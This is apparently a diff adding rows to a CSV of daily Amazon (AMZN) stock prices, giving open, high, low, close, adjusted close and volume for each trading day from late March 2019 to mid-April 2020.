+2019-03-27,1784.1300048828125,1787.5,1745.6800537109375,1765.699951171875,1765.699951171875,4324800,AMZN
+2019-03-28,1770.0,1777.9300537109375,1753.469970703125,1773.4200439453125,1773.4200439453125,3043000,AMZN
+2019-03-29,1786.5799560546875,1792.8599853515625,1776.6300048828125,1780.75,1780.75,3320800,AMZN
+2019-04-01,1800.1099853515625,1815.6700439453125,1798.72998046875,1814.18994140625,1814.18994140625,4238800,AMZN
+2019-04-02,1811.02001953125,1820.0,1805.1199951171875,1813.97998046875,1813.97998046875,3448100,AMZN
+2019-04-03,1826.719970703125,1830.0,1809.6199951171875,1820.699951171875,1820.699951171875,3926100,AMZN
+2019-04-04,1820.6500244140625,1828.75,1804.199951171875,1818.8599853515625,1818.8599853515625,3623900,AMZN
+2019-04-05,1829.0,1838.5799560546875,1825.18994140625,1837.280029296875,1837.280029296875,3640500,AMZN
+2019-04-08,1833.22998046875,1850.199951171875,1825.1099853515625,1849.8599853515625,1849.8599853515625,3752800,AMZN
+2019-04-09,1845.489990234375,1853.0899658203125,1831.780029296875,1835.8399658203125,1835.8399658203125,3714400,AMZN
+2019-04-10,1841.0,1848.0,1828.81005859375,1847.3299560546875,1847.3299560546875,2964000,AMZN
+2019-04-11,1848.699951171875,1849.949951171875,1840.31005859375,1844.0699462890625,1844.0699462890625,2654800,AMZN
+2019-04-12,1848.4000244140625,1851.5,1841.300048828125,1843.06005859375,1843.06005859375,3114400,AMZN
+2019-04-15,1842.0,1846.8499755859375,1818.9000244140625,1844.8699951171875,1844.8699951171875,3724400,AMZN
+2019-04-16,1851.3499755859375,1869.77001953125,1848.0,1863.0400390625,1863.0400390625,3044600,AMZN
+2019-04-17,1872.989990234375,1876.469970703125,1860.43994140625,1864.8199462890625,1864.8199462890625,2893500,AMZN
+2019-04-18,1868.7900390625,1870.8199462890625,1859.47998046875,1861.68994140625,1861.68994140625,2749900,AMZN
+2019-04-22,1855.4000244140625,1888.4200439453125,1845.6400146484375,1887.31005859375,1887.31005859375,3373800,AMZN
+2019-04-23,1891.199951171875,1929.260009765625,1889.5799560546875,1923.77001953125,1923.77001953125,4640400,AMZN
+2019-04-24,1925.0,1929.68994140625,1898.1600341796875,1901.75,1901.75,3675800,AMZN
+2019-04-25,1917.0,1922.449951171875,1900.31005859375,1902.25,1902.25,6099100,AMZN
+2019-04-26,1929.0,1951.0,1898.0,1950.6300048828125,1950.6300048828125,8432600,AMZN
+2019-04-29,1949.0,1956.3399658203125,1934.0899658203125,1938.4300537109375,1938.4300537109375,4021300,AMZN
+2019-04-30,1930.0999755859375,1935.7099609375,1906.949951171875,1926.52001953125,1926.52001953125,3506000,AMZN
+2019-05-01,1933.0899658203125,1943.6400146484375,1910.550048828125,1911.52001953125,1911.52001953125,3117000,AMZN
+2019-05-02,1913.3299560546875,1921.550048828125,1881.8699951171875,1900.8199462890625,1900.8199462890625,3962900,AMZN
+2019-05-03,1949.0,1964.4000244140625,1936.0,1962.4599609375,1962.4599609375,6381600,AMZN
+2019-05-06,1917.97998046875,1959.0,1910.5,1950.550048828125,1950.550048828125,5417800,AMZN
+2019-05-07,1939.989990234375,1949.0999755859375,1903.3800048828125,1921.0,1921.0,5902100,AMZN
+2019-05-08,1918.8699951171875,1935.3699951171875,1910.0,1917.77001953125,1917.77001953125,4078600,AMZN
+2019-05-09,1900.0,1909.4000244140625,1876.0,1899.8699951171875,1899.8699951171875,5308300,AMZN
+2019-05-10,1898.0,1903.7900390625,1856.0,1889.97998046875,1889.97998046875,5718000,AMZN
+2019-05-13,1836.56005859375,1846.5400390625,1818.0,1822.6800537109375,1822.6800537109375,5783400,AMZN
+2019-05-14,1839.5,1852.43994140625,1815.75,1840.1199951171875,1840.1199951171875,4629100,AMZN
+2019-05-15,1827.949951171875,1874.4300537109375,1823.0,1871.1500244140625,1871.1500244140625,4692600,AMZN
+2019-05-16,1885.93994140625,1917.510009765625,1882.2900390625,1907.5699462890625,1907.5699462890625,4707800,AMZN
+2019-05-17,1893.050048828125,1910.530029296875,1867.3299560546875,1869.0,1869.0,4736600,AMZN
+2019-05-20,1852.68994140625,1867.780029296875,1835.5400390625,1858.969970703125,1858.969970703125,3798200,AMZN
+2019-05-21,1874.7900390625,1879.0,1846.0,1857.52001953125,1857.52001953125,4005100,AMZN
+2019-05-22,1851.780029296875,1871.489990234375,1851.0,1859.6800537109375,1859.6800537109375,2936600,AMZN
+2019-05-23,1836.5899658203125,1844.0,1804.199951171875,1815.47998046875,1815.47998046875,4424300,AMZN
+2019-05-24,1835.8900146484375,1841.760009765625,1817.8499755859375,1823.280029296875,1823.280029296875,3369700,AMZN
+2019-05-28,1832.75,1849.27001953125,1827.3499755859375,1836.4300537109375,1836.4300537109375,3200000,AMZN
+2019-05-29,1823.1199951171875,1830.0,1807.530029296875,1819.18994140625,1819.18994140625,4279000,AMZN
+2019-05-30,1825.489990234375,1829.469970703125,1807.8299560546875,1816.3199462890625,1816.3199462890625,3146900,AMZN
+2019-05-31,1790.010009765625,1795.5899658203125,1772.699951171875,1775.0699462890625,1775.0699462890625,4618800,AMZN
+2019-06-03,1760.010009765625,1766.2900390625,1672.0,1692.68994140625,1692.68994140625,9098700,AMZN
+2019-06-04,1699.239990234375,1730.8199462890625,1680.8900146484375,1729.56005859375,1729.56005859375,5679100,AMZN
+2019-06-05,1749.5999755859375,1752.0,1715.25,1738.5,1738.5,4239800,AMZN
+2019-06-06,1737.7099609375,1760.0,1726.1300048828125,1754.3599853515625,1754.3599853515625,3689300,AMZN
+2019-06-07,1763.699951171875,1806.25,1759.489990234375,1804.030029296875,1804.030029296875,4808200,AMZN
+2019-06-10,1822.0,1884.8699951171875,1818.0,1860.6300048828125,1860.6300048828125,5371000,AMZN
+2019-06-11,1883.25,1893.699951171875,1858.0,1863.699951171875,1863.699951171875,4042700,AMZN
+2019-06-12,1853.97998046875,1865.0,1844.3800048828125,1855.3199462890625,1855.3199462890625,2678300,AMZN
+2019-06-13,1866.719970703125,1883.0899658203125,1862.219970703125,1870.300048828125,1870.300048828125,2795800,AMZN
+2019-06-14,1864.0,1876.0,1859.0,1869.6700439453125,1869.6700439453125,2851200,AMZN
+2019-06-17,1876.5,1895.68994140625,1875.449951171875,1886.030029296875,1886.030029296875,2634300,AMZN
+2019-06-18,1901.3499755859375,1921.6700439453125,1899.7900390625,1901.3699951171875,1901.3699951171875,3895700,AMZN
+2019-06-19,1907.8399658203125,1919.5799560546875,1892.469970703125,1908.7900390625,1908.7900390625,2895300,AMZN
+2019-06-20,1933.3299560546875,1935.199951171875,1905.800048828125,1918.18994140625,1918.18994140625,3217200,AMZN
+2019-06-21,1916.0999755859375,1925.949951171875,1907.5799560546875,1911.300048828125,1911.300048828125,3933600,AMZN
+2019-06-24,1912.6600341796875,1916.8599853515625,1901.300048828125,1913.9000244140625,1913.9000244140625,2283000,AMZN
+2019-06-25,1911.8399658203125,1916.3900146484375,1872.4200439453125,1878.27001953125,1878.27001953125,3012300,AMZN
+2019-06-26,1892.47998046875,1903.800048828125,1887.3199462890625,1897.8299560546875,1897.8299560546875,2441900,AMZN
+2019-06-27,1902.0,1911.239990234375,1898.0400390625,1904.280029296875,1904.280029296875,2141700,AMZN
+2019-06-28,1909.0999755859375,1912.93994140625,1884.0,1893.6300048828125,1893.6300048828125,3037400,AMZN
+2019-07-01,1922.97998046875,1929.8199462890625,1914.6600341796875,1922.18994140625,1922.18994140625,3192100,AMZN
+2019-07-02,1919.3800048828125,1934.7900390625,1906.6300048828125,1934.31005859375,1934.31005859375,2645900,AMZN
+2019-07-03,1935.8900146484375,1941.5899658203125,1930.5,1939.0,1939.0,1690300,AMZN
+2019-07-05,1928.5999755859375,1945.9000244140625,1925.300048828125,1942.9100341796875,1942.9100341796875,2628400,AMZN
+2019-07-08,1934.1199951171875,1956.0,1928.25,1952.3199462890625,1952.3199462890625,2883400,AMZN
+2019-07-09,1947.800048828125,1990.010009765625,1943.47998046875,1988.300048828125,1988.300048828125,4345700,AMZN
+2019-07-10,1996.510009765625,2024.93994140625,1995.4000244140625,2017.4100341796875,2017.4100341796875,4931900,AMZN
+2019-07-11,2025.6199951171875,2035.800048828125,1995.300048828125,2001.0699462890625,2001.0699462890625,4317800,AMZN
+2019-07-12,2008.27001953125,2017.0,2003.8699951171875,2011.0,2011.0,2509300,AMZN
+2019-07-15,2021.4000244140625,2022.9000244140625,2001.550048828125,2020.989990234375,2020.989990234375,2981300,AMZN
+2019-07-16,2010.5799560546875,2026.3199462890625,2001.219970703125,2009.9000244140625,2009.9000244140625,2618200,AMZN
+2019-07-17,2007.050048828125,2012.0,1992.030029296875,1992.030029296875,1992.030029296875,2558800,AMZN
+2019-07-18,1980.010009765625,1987.5,1951.550048828125,1977.9000244140625,1977.9000244140625,3486900,AMZN
+2019-07-19,1991.2099609375,1996.0,1962.22998046875,1964.52001953125,1964.52001953125,3185600,AMZN
+2019-07-22,1971.1400146484375,1989.0,1958.260009765625,1985.6300048828125,1985.6300048828125,2900000,AMZN
+2019-07-23,1995.989990234375,1997.7900390625,1973.1300048828125,1994.489990234375,1994.489990234375,2703500,AMZN
+2019-07-24,1969.300048828125,2001.300048828125,1965.8699951171875,2000.81005859375,2000.81005859375,2631300,AMZN
+2019-07-25,2001.0,2001.199951171875,1972.719970703125,1973.8199462890625,1973.8199462890625,4136500,AMZN
+2019-07-26,1942.0,1950.9000244140625,1924.510009765625,1943.050048828125,1943.050048828125,4927100,AMZN
+2019-07-29,1930.0,1932.22998046875,1890.5400390625,1912.449951171875,1912.449951171875,4493200,AMZN
+2019-07-30,1891.1199951171875,1909.8900146484375,1883.47998046875,1898.530029296875,1898.530029296875,2910900,AMZN
+2019-07-31,1898.1099853515625,1899.550048828125,1849.43994140625,1866.780029296875,1866.780029296875,4470700,AMZN
+2019-08-01,1871.719970703125,1897.9200439453125,1844.010009765625,1855.3199462890625,1855.3199462890625,4713300,AMZN
+2019-08-02,1845.0699462890625,1846.3599853515625,1808.02001953125,1823.239990234375,1823.239990234375,4956200,AMZN
+2019-08-05,1770.219970703125,1788.6700439453125,1748.780029296875,1765.1300048828125,1765.1300048828125,6058200,AMZN
+2019-08-06,1792.22998046875,1793.77001953125,1753.4000244140625,1787.8299560546875,1787.8299560546875,5070300,AMZN
+2019-08-07,1773.989990234375,1798.9300537109375,1757.0,1793.4000244140625,1793.4000244140625,4526900,AMZN
+2019-08-08,1806.0,1834.260009765625,1798.1099853515625,1832.8900146484375,1832.8900146484375,3701200,AMZN
+2019-08-09,1828.949951171875,1831.0899658203125,1802.219970703125,1807.5799560546875,1807.5799560546875,2879800,AMZN
+2019-08-12,1795.989990234375,1800.97998046875,1777.0,1784.9200439453125,1784.9200439453125,2905500,AMZN
+2019-08-13,1783.0,1831.739990234375,1780.0,1824.3399658203125,1824.3399658203125,3994000,AMZN
+2019-08-14,1793.010009765625,1795.6500244140625,1757.219970703125,1762.9599609375,1762.9599609375,4893600,AMZN
+2019-08-15,1781.989990234375,1788.0,1761.9599609375,1776.1199951171875,1776.1199951171875,3759100,AMZN
+2019-08-16,1792.8900146484375,1802.9100341796875,1784.550048828125,1792.5699462890625,1792.5699462890625,3018000,AMZN
+2019-08-19,1818.0799560546875,1826.0,1812.6099853515625,1816.1199951171875,1816.1199951171875,2816300,AMZN
+2019-08-20,1814.5,1816.8199462890625,1799.8800048828125,1801.3800048828125,1801.3800048828125,1929500,AMZN
+2019-08-21,1819.3900146484375,1829.5799560546875,1815.0,1823.5400390625,1823.5400390625,2031800,AMZN
+2019-08-22,1828.0,1829.4100341796875,1800.0999755859375,1804.6600341796875,1804.6600341796875,2653500,AMZN
+2019-08-23,1793.030029296875,1804.9000244140625,1745.22998046875,1749.6199951171875,1749.6199951171875,5270800,AMZN
+2019-08-26,1766.9100341796875,1770.0,1743.510009765625,1768.8699951171875,1768.8699951171875,3080000,AMZN
+2019-08-27,1775.72998046875,1779.4000244140625,1746.6800537109375,1761.8299560546875,1761.8299560546875,3019700,AMZN
+2019-08-28,1755.0,1767.8599853515625,1744.050048828125,1764.25,1764.25,2419700,AMZN
+2019-08-29,1783.0,1798.550048828125,1777.25,1786.4000244140625,1786.4000244140625,3015100,AMZN
+2019-08-30,1797.489990234375,1799.739990234375,1764.5699462890625,1776.2900390625,1776.2900390625,3058700,AMZN
+2019-09-03,1770.0,1800.800048828125,1768.0,1789.8399658203125,1789.8399658203125,3543000,AMZN
+2019-09-04,1805.0,1807.6300048828125,1796.22998046875,1800.6199951171875,1800.6199951171875,2324100,AMZN
+2019-09-05,1821.949951171875,1842.0,1815.5799560546875,1840.719970703125,1840.719970703125,3310800,AMZN
+2019-09-06,1838.219970703125,1840.6500244140625,1826.4000244140625,1833.510009765625,1833.510009765625,2496900,AMZN
+2019-09-09,1841.0,1850.0,1824.6099853515625,1831.3499755859375,1831.3499755859375,2999500,AMZN
+2019-09-10,1822.75,1825.81005859375,1805.3399658203125,1820.550048828125,1820.550048828125,2613900,AMZN
+2019-09-11,1812.1400146484375,1833.4200439453125,1809.0799560546875,1822.989990234375,1822.989990234375,2432800,AMZN
+2019-09-12,1837.6300048828125,1853.6600341796875,1834.280029296875,1843.550048828125,1843.550048828125,2823500,AMZN
+2019-09-13,1842.010009765625,1846.1199951171875,1835.1700439453125,1839.3399658203125,1839.3399658203125,1971300,AMZN
+2019-09-16,1824.02001953125,1825.68994140625,1800.199951171875,1807.8399658203125,1807.8399658203125,3675500,AMZN
+2019-09-17,1807.0799560546875,1823.989990234375,1804.0999755859375,1822.550048828125,1822.550048828125,1982400,AMZN
+2019-09-18,1817.0400390625,1822.06005859375,1795.5,1817.4599609375,1817.4599609375,2505600,AMZN
+2019-09-19,1821.02001953125,1832.5699462890625,1817.9000244140625,1821.5,1821.5,2031500,AMZN
+2019-09-20,1821.7099609375,1830.6300048828125,1780.9200439453125,1794.1600341796875,1794.1600341796875,5341900,AMZN
+2019-09-23,1777.0,1792.699951171875,1767.3199462890625,1785.300048828125,1785.300048828125,2922300,AMZN
+2019-09-24,1790.6099853515625,1795.7099609375,1735.550048828125,1741.6099853515625,1741.6099853515625,4616000,AMZN
+2019-09-25,1747.3599853515625,1773.0,1723.0,1768.3299560546875,1768.3299560546875,3493200,AMZN
+2019-09-26,1762.7900390625,1763.3699951171875,1731.5,1739.8399658203125,1739.8399658203125,3536800,AMZN
+2019-09-27,1748.0,1749.1199951171875,1713.8199462890625,1725.449951171875,1725.449951171875,3907200,AMZN
+2019-09-30,1726.989990234375,1737.4599609375,1709.219970703125,1735.9100341796875,1735.9100341796875,2644700,AMZN
+2019-10-01,1746.0,1755.5999755859375,1728.4100341796875,1735.6500244140625,1735.6500244140625,3084500,AMZN
+2019-10-02,1727.739990234375,1728.8900146484375,1705.0,1713.22998046875,1713.22998046875,3301100,AMZN
+2019-10-03,1713.0,1725.0,1685.06005859375,1724.4200439453125,1724.4200439453125,3468200,AMZN
+2019-10-04,1726.02001953125,1740.5799560546875,1719.22998046875,1739.6500244140625,1739.6500244140625,2471900,AMZN
+2019-10-07,1731.6300048828125,1747.8299560546875,1723.699951171875,1732.6600341796875,1732.6600341796875,2154700,AMZN
+2019-10-08,1722.489990234375,1727.0,1705.0,1705.510009765625,1705.510009765625,2542000,AMZN
+2019-10-09,1719.6099853515625,1729.949951171875,1714.3599853515625,1721.989990234375,1721.989990234375,2043500,AMZN
+2019-10-10,1725.239990234375,1738.2900390625,1713.75,1720.260009765625,1720.260009765625,2575200,AMZN
+2019-10-11,1742.9200439453125,1745.449951171875,1729.8599853515625,1731.9200439453125,1731.9200439453125,3255000,AMZN
+2019-10-14,1728.9100341796875,1741.8900146484375,1722.0,1736.4300537109375,1736.4300537109375,1910200,AMZN
+2019-10-15,1742.1400146484375,1776.449951171875,1740.6199951171875,1767.3800048828125,1767.3800048828125,3111700,AMZN
+2019-10-16,1773.3299560546875,1786.239990234375,1770.52001953125,1777.4300537109375,1777.4300537109375,2763400,AMZN
+2019-10-17,1796.489990234375,1798.8499755859375,1782.02001953125,1787.47998046875,1787.47998046875,2647400,AMZN
+2019-10-18,1787.800048828125,1793.97998046875,1749.199951171875,1757.510009765625,1757.510009765625,3362500,AMZN
+2019-10-21,1769.6600341796875,1785.8800048828125,1765.0,1785.6600341796875,1785.6600341796875,2130400,AMZN
+2019-10-22,1788.1500244140625,1789.780029296875,1762.0,1765.72998046875,1765.72998046875,2111700,AMZN
+2019-10-23,1761.300048828125,1770.050048828125,1742.0,1762.1700439453125,1762.1700439453125,2138200,AMZN
+2019-10-24,1771.0899658203125,1788.3399658203125,1760.27001953125,1780.780029296875,1780.780029296875,4446100,AMZN
+2019-10-25,1697.550048828125,1764.2099609375,1695.0,1761.3299560546875,1761.3299560546875,9626400,AMZN
+2019-10-28,1748.06005859375,1778.699951171875,1742.5,1777.0799560546875,1777.0799560546875,3708900,AMZN
+2019-10-29,1774.81005859375,1777.0,1755.81005859375,1762.7099609375,1762.7099609375,2276900,AMZN
+2019-10-30,1760.239990234375,1782.3800048828125,1759.1199951171875,1779.989990234375,1779.989990234375,2449400,AMZN
+2019-10-31,1775.989990234375,1792.0,1771.47998046875,1776.6600341796875,1776.6600341796875,2781200,AMZN
+2019-11-01,1788.010009765625,1797.449951171875,1785.2099609375,1791.43994140625,1791.43994140625,2790400,AMZN
+2019-11-04,1801.010009765625,1815.06005859375,1801.010009765625,1804.6600341796875,1804.6600341796875,2771900,AMZN
+2019-11-05,1809.1600341796875,1810.25,1794.0,1801.7099609375,1801.7099609375,1885500,AMZN
+2019-11-06,1801.0,1802.5,1788.5799560546875,1795.77001953125,1795.77001953125,2029800,AMZN
+2019-11-07,1803.760009765625,1805.9000244140625,1783.47998046875,1788.199951171875,1788.199951171875,2651100,AMZN
+2019-11-08,1787.8900146484375,1789.8800048828125,1774.0400390625,1785.8800048828125,1785.8800048828125,2123300,AMZN
+2019-11-11,1778.0,1780.0,1767.1300048828125,1771.6500244140625,1771.6500244140625,1946000,AMZN
+2019-11-12,1774.6600341796875,1786.219970703125,1771.9100341796875,1778.0,1778.0,2037600,AMZN
+2019-11-13,1773.3900146484375,1775.0,1747.3199462890625,1753.1099853515625,1753.1099853515625,2989500,AMZN
+2019-11-14,1751.4300537109375,1766.5899658203125,1749.56005859375,1754.5999755859375,1754.5999755859375,2264800,AMZN
+2019-11-15,1760.050048828125,1761.6800537109375,1732.8599853515625,1739.489990234375,1739.489990234375,3927600,AMZN
+2019-11-18,1738.300048828125,1753.699951171875,1722.7099609375,1752.530029296875,1752.530029296875,2839500,AMZN
+2019-11-19,1756.989990234375,1760.6800537109375,1743.030029296875,1752.7900390625,1752.7900390625,2270800,AMZN
+2019-11-20,1749.1400146484375,1762.52001953125,1734.1199951171875,1745.530029296875,1745.530029296875,2790000,AMZN
+2019-11-21,1743.0,1746.8699951171875,1730.3599853515625,1734.7099609375,1734.7099609375,2662900,AMZN
+2019-11-22,1739.02001953125,1746.4300537109375,1731.0,1745.719970703125,1745.719970703125,2479100,AMZN
+2019-11-25,1753.25,1777.4200439453125,1753.239990234375,1773.8399658203125,1773.8399658203125,3486200,AMZN
+2019-11-26,1779.9200439453125,1797.030029296875,1778.3499755859375,1796.93994140625,1796.93994140625,3181200,AMZN
+2019-11-27,1801.0,1824.5,1797.31005859375,1818.510009765625,1818.510009765625,3025600,AMZN
+2019-11-29,1817.780029296875,1824.68994140625,1800.7900390625,1800.800048828125,1800.800048828125,1923400,AMZN
+2019-12-02,1804.4000244140625,1805.550048828125,1762.6800537109375,1781.5999755859375,1781.5999755859375,3925600,AMZN
+2019-12-03,1760.0,1772.8699951171875,1747.22998046875,1769.9599609375,1769.9599609375,3380900,AMZN
+2019-12-04,1774.010009765625,1789.0899658203125,1760.219970703125,1760.68994140625,1760.68994140625,2670100,AMZN
+2019-12-05,1763.5,1763.5,1740.0,1740.47998046875,1740.47998046875,2823800,AMZN
+2019-12-06,1751.199951171875,1754.4000244140625,1740.1300048828125,1751.5999755859375,1751.5999755859375,3117400,AMZN
+2019-12-09,1750.6600341796875,1766.8900146484375,1745.6099853515625,1749.510009765625,1749.510009765625,2442800,AMZN
+2019-12-10,1747.4000244140625,1750.6700439453125,1735.0,1739.2099609375,1739.2099609375,2514300,AMZN
+2019-12-11,1741.6700439453125,1750.0,1735.7099609375,1748.719970703125,1748.719970703125,2097600,AMZN
+2019-12-12,1750.0,1764.0,1745.43994140625,1760.3299560546875,1760.3299560546875,3095900,AMZN
+2019-12-13,1765.0,1768.989990234375,1755.0,1760.93994140625,1760.93994140625,2745700,AMZN
+2019-12-16,1767.0,1769.5,1757.050048828125,1769.2099609375,1769.2099609375,3145200,AMZN
+2019-12-17,1778.010009765625,1792.0,1777.3900146484375,1790.6600341796875,1790.6600341796875,3644400,AMZN
+2019-12-18,1795.02001953125,1798.199951171875,1782.3599853515625,1784.030029296875,1784.030029296875,3351400,AMZN
+2019-12-19,1780.5,1792.989990234375,1774.06005859375,1792.280029296875,1792.280029296875,2652800,AMZN
+2019-12-20,1799.6199951171875,1802.969970703125,1782.449951171875,1786.5,1786.5,5150800,AMZN
+2019-12-23,1788.260009765625,1793.0,1784.510009765625,1793.0,1793.0,2136400,AMZN
+2019-12-24,1793.81005859375,1795.5699462890625,1787.5799560546875,1789.2099609375,1789.2099609375,881300,AMZN
+2019-12-26,1801.010009765625,1870.4599609375,1799.5,1868.77001953125,1868.77001953125,6005400,AMZN
+2019-12-27,1882.9200439453125,1901.4000244140625,1866.010009765625,1869.800048828125,1869.800048828125,6186600,AMZN
+2019-12-30,1874.0,1884.0,1840.6199951171875,1846.8900146484375,1846.8900146484375,3674700,AMZN
+2019-12-31,1842.0,1853.260009765625,1832.22998046875,1847.8399658203125,1847.8399658203125,2506500,AMZN
+2020-01-02,1875.0,1898.010009765625,1864.1500244140625,1898.010009765625,1898.010009765625,4029000,AMZN
+2020-01-03,1864.5,1886.199951171875,1864.5,1874.969970703125,1874.969970703125,3764400,AMZN
+2020-01-06,1860.0,1903.68994140625,1860.0,1902.8800048828125,1902.8800048828125,4061800,AMZN
+2020-01-07,1904.5,1913.8900146484375,1892.0400390625,1906.8599853515625,1906.8599853515625,4044900,AMZN
+2020-01-08,1898.0400390625,1911.0,1886.43994140625,1891.969970703125,1891.969970703125,3508000,AMZN
+2020-01-09,1909.8900146484375,1917.8199462890625,1895.800048828125,1901.050048828125,1901.050048828125,3167300,AMZN
+2020-01-10,1905.3699951171875,1906.93994140625,1880.0,1883.1600341796875,1883.1600341796875,2853700,AMZN
+2020-01-13,1891.31005859375,1898.0,1880.800048828125,1891.300048828125,1891.300048828125,2780800,AMZN
+2020-01-14,1885.8800048828125,1887.1099853515625,1858.550048828125,1869.43994140625,1869.43994140625,3440900,AMZN
+2020-01-15,1872.25,1878.8599853515625,1855.0899658203125,1862.02001953125,1862.02001953125,2896600,AMZN
+2020-01-16,1882.989990234375,1885.5899658203125,1866.02001953125,1877.93994140625,1877.93994140625,2659500,AMZN
+2020-01-17,1885.8900146484375,1886.6400146484375,1857.25,1864.719970703125,1864.719970703125,3997300,AMZN
+2020-01-21,1865.0,1894.27001953125,1860.0,1892.0,1892.0,3707800,AMZN
+2020-01-22,1896.0899658203125,1902.5,1883.3399658203125,1887.4599609375,1887.4599609375,3216300,AMZN
+2020-01-23,1885.1099853515625,1889.97998046875,1872.760009765625,1884.5799560546875,1884.5799560546875,2484600,AMZN
+2020-01-24,1891.3699951171875,1894.989990234375,1847.43994140625,1861.6400146484375,1861.6400146484375,3766200,AMZN
+2020-01-27,1820.0,1841.0,1815.3399658203125,1828.3399658203125,1828.3399658203125,3528500,AMZN
+2020-01-28,1840.5,1858.1099853515625,1830.02001953125,1853.25,1853.25,2808000,AMZN
+2020-01-29,1864.0,1874.75,1855.02001953125,1858.0,1858.0,2088000,AMZN
+2020-01-30,1858.0,1872.8699951171875,1850.6099853515625,1870.6800537109375,1870.6800537109375,6327400,AMZN
+2020-01-31,2051.469970703125,2055.719970703125,2002.27001953125,2008.719970703125,2008.719970703125,15567300,AMZN
+2020-02-03,2010.5999755859375,2048.5,2000.25,2004.199951171875,2004.199951171875,5891700,AMZN
+2020-02-04,2029.8800048828125,2059.800048828125,2015.3699951171875,2049.669921875,2049.669921875,5289300,AMZN
+2020-02-05,2071.02001953125,2071.02001953125,2032.0,2039.8699951171875,2039.8699951171875,4376200,AMZN
+2020-02-06,2041.02001953125,2056.300048828125,2024.800048828125,2050.22998046875,2050.22998046875,3183000,AMZN
+2020-02-07,2041.989990234375,2098.530029296875,2038.0999755859375,2079.280029296875,2079.280029296875,5095300,AMZN
+2020-02-10,2085.010009765625,2135.60009765625,2084.9599609375,2133.909912109375,2133.909912109375,5056200,AMZN
+2020-02-11,2150.89990234375,2185.949951171875,2136.0,2150.800048828125,2150.800048828125,5746000,AMZN
+2020-02-12,2163.199951171875,2180.25,2155.2900390625,2160.0,2160.0,3334300,AMZN
+2020-02-13,2144.989990234375,2170.280029296875,2142.0,2149.8701171875,2149.8701171875,3031800,AMZN
+2020-02-14,2155.679931640625,2159.0400390625,2125.889892578125,2134.8701171875,2134.8701171875,2606200,AMZN
+2020-02-18,2125.02001953125,2166.070068359375,2124.110107421875,2155.669921875,2155.669921875,2945600,AMZN
+2020-02-19,2167.800048828125,2185.10009765625,2161.1201171875,2170.219970703125,2170.219970703125,2561200,AMZN
+2020-02-20,2173.070068359375,2176.7900390625,2127.449951171875,2153.10009765625,2153.10009765625,3131300,AMZN
+2020-02-21,2142.14990234375,2144.550048828125,2088.0,2095.969970703125,2095.969970703125,4646300,AMZN
+2020-02-24,2003.1800537109375,2039.300048828125,1987.969970703125,2009.2900390625,2009.2900390625,6547000,AMZN
+2020-02-25,2026.4200439453125,2034.5999755859375,1958.4200439453125,1972.739990234375,1972.739990234375,6219100,AMZN
+2020-02-26,1970.280029296875,2014.6700439453125,1960.449951171875,1979.5899658203125,1979.5899658203125,5224600,AMZN
+2020-02-27,1934.3800048828125,1975.0,1882.760009765625,1884.300048828125,1884.300048828125,8144000,AMZN
+2020-02-28,1814.6300048828125,1889.760009765625,1811.1300048828125,1883.75,1883.75,9481000,AMZN
+2020-03-02,1906.489990234375,1954.510009765625,1870.0,1953.949951171875,1953.949951171875,6761700,AMZN
+2020-03-03,1975.3699951171875,1996.3299560546875,1888.0899658203125,1908.989990234375,1908.989990234375,7534500,AMZN
+2020-03-04,1946.5699462890625,1978.0,1922.0,1975.8299560546875,1975.8299560546875,4772900,AMZN
+2020-03-05,1933.0,1960.719970703125,1910.0,1924.030029296875,1924.030029296875,4748200,AMZN
+2020-03-06,1875.0,1910.8699951171875,1869.5,1901.0899658203125,1901.0899658203125,5273600,AMZN
+2020-03-09,1773.8599853515625,1862.77001953125,1761.2900390625,1800.6099853515625,1800.6099853515625,7813200,AMZN
+2020-03-10,1870.8800048828125,1894.27001953125,1818.1700439453125,1891.8199462890625,1891.8199462890625,7133300,AMZN
+2020-03-11,1857.8499755859375,1871.3199462890625,1801.5,1820.8599853515625,1820.8599853515625,5624800,AMZN
+2020-03-12,1721.97998046875,1765.0,1675.0,1676.6099853515625,1676.6099853515625,11346200,AMZN
+2020-03-13,1755.0,1786.31005859375,1680.6199951171875,1785.0,1785.0,8809700,AMZN
+2020-03-16,1641.510009765625,1759.449951171875,1626.030029296875,1689.1500244140625,1689.1500244140625,8917300,AMZN
+2020-03-17,1775.469970703125,1857.780029296875,1689.239990234375,1807.8399658203125,1807.8399658203125,10917100,AMZN
+2020-03-18,1750.0,1841.6600341796875,1745.0,1830.0,1830.0,9645200,AMZN
+2020-03-19,1860.0,1945.0,1832.6500244140625,1880.9300537109375,1880.9300537109375,10399900,AMZN
+2020-03-20,1926.31005859375,1957.0,1820.72998046875,1846.0899658203125,1846.0899658203125,9817900,AMZN
+2020-03-23,1827.75,1919.4000244140625,1812.0,1902.8299560546875,1902.8299560546875,7808500,AMZN
+2020-03-24,1951.5,1955.0,1900.3399658203125,1940.0999755859375,1940.0999755859375,7147100,AMZN
+2020-03-25,1920.68994140625,1950.260009765625,1885.780029296875,1885.8399658203125,1885.8399658203125,6479100,AMZN
+2020-03-26,1902.0,1956.489990234375,1889.2900390625,1955.489990234375,1955.489990234375,6221300,AMZN
+2020-03-27,1930.8599853515625,1939.7900390625,1899.9200439453125,1900.0999755859375,1900.0999755859375,5387900,AMZN
+2020-03-30,1922.8299560546875,1973.6300048828125,1912.3399658203125,1963.949951171875,1963.949951171875,6126100,AMZN
+2020-03-31,1964.3499755859375,1993.02001953125,1944.010009765625,1949.719970703125,1949.719970703125,5123600,AMZN
+2020-04-01,1932.969970703125,1944.9599609375,1893.0,1907.699951171875,1907.699951171875,4121900,AMZN
+2020-04-02,1901.6400146484375,1927.530029296875,1890.0,1918.8299560546875,1918.8299560546875,4336000,AMZN
+2020-04-03,1911.1500244140625,1926.3299560546875,1889.1500244140625,1906.5899658203125,1906.5899658203125,3609900,AMZN
+2020-04-06,1936.0,1998.52001953125,1930.02001953125,1997.5899658203125,1997.5899658203125,5773200,AMZN
+2020-04-07,2017.1099853515625,2035.719970703125,1997.6199951171875,2011.5999755859375,2011.5999755859375,5114000,AMZN
+2020-04-08,2021.0,2044.0,2011.1500244140625,2043.0,2043.0,3977300,AMZN
+2020-04-09,2044.300048828125,2053.0,2017.6600341796875,2042.760009765625,2042.760009765625,4646500,AMZN
+2020-04-13,2040.0,2180.0,2038.0,2168.8701171875,2168.8701171875,6716700,AMZN
+2020-04-14,2200.469970703125,2292.0,2186.2099609375,2283.320068359375,2283.320068359375,8087200,AMZN
+2020-04-15,2257.679931640625,2333.3701171875,2245.0,2307.679931640625,2307.679931640625,6866600,AMZN
+2020-04-16,2346.0,2461.0,2335.0,2408.18994140625,2408.18994140625,12038200,AMZN
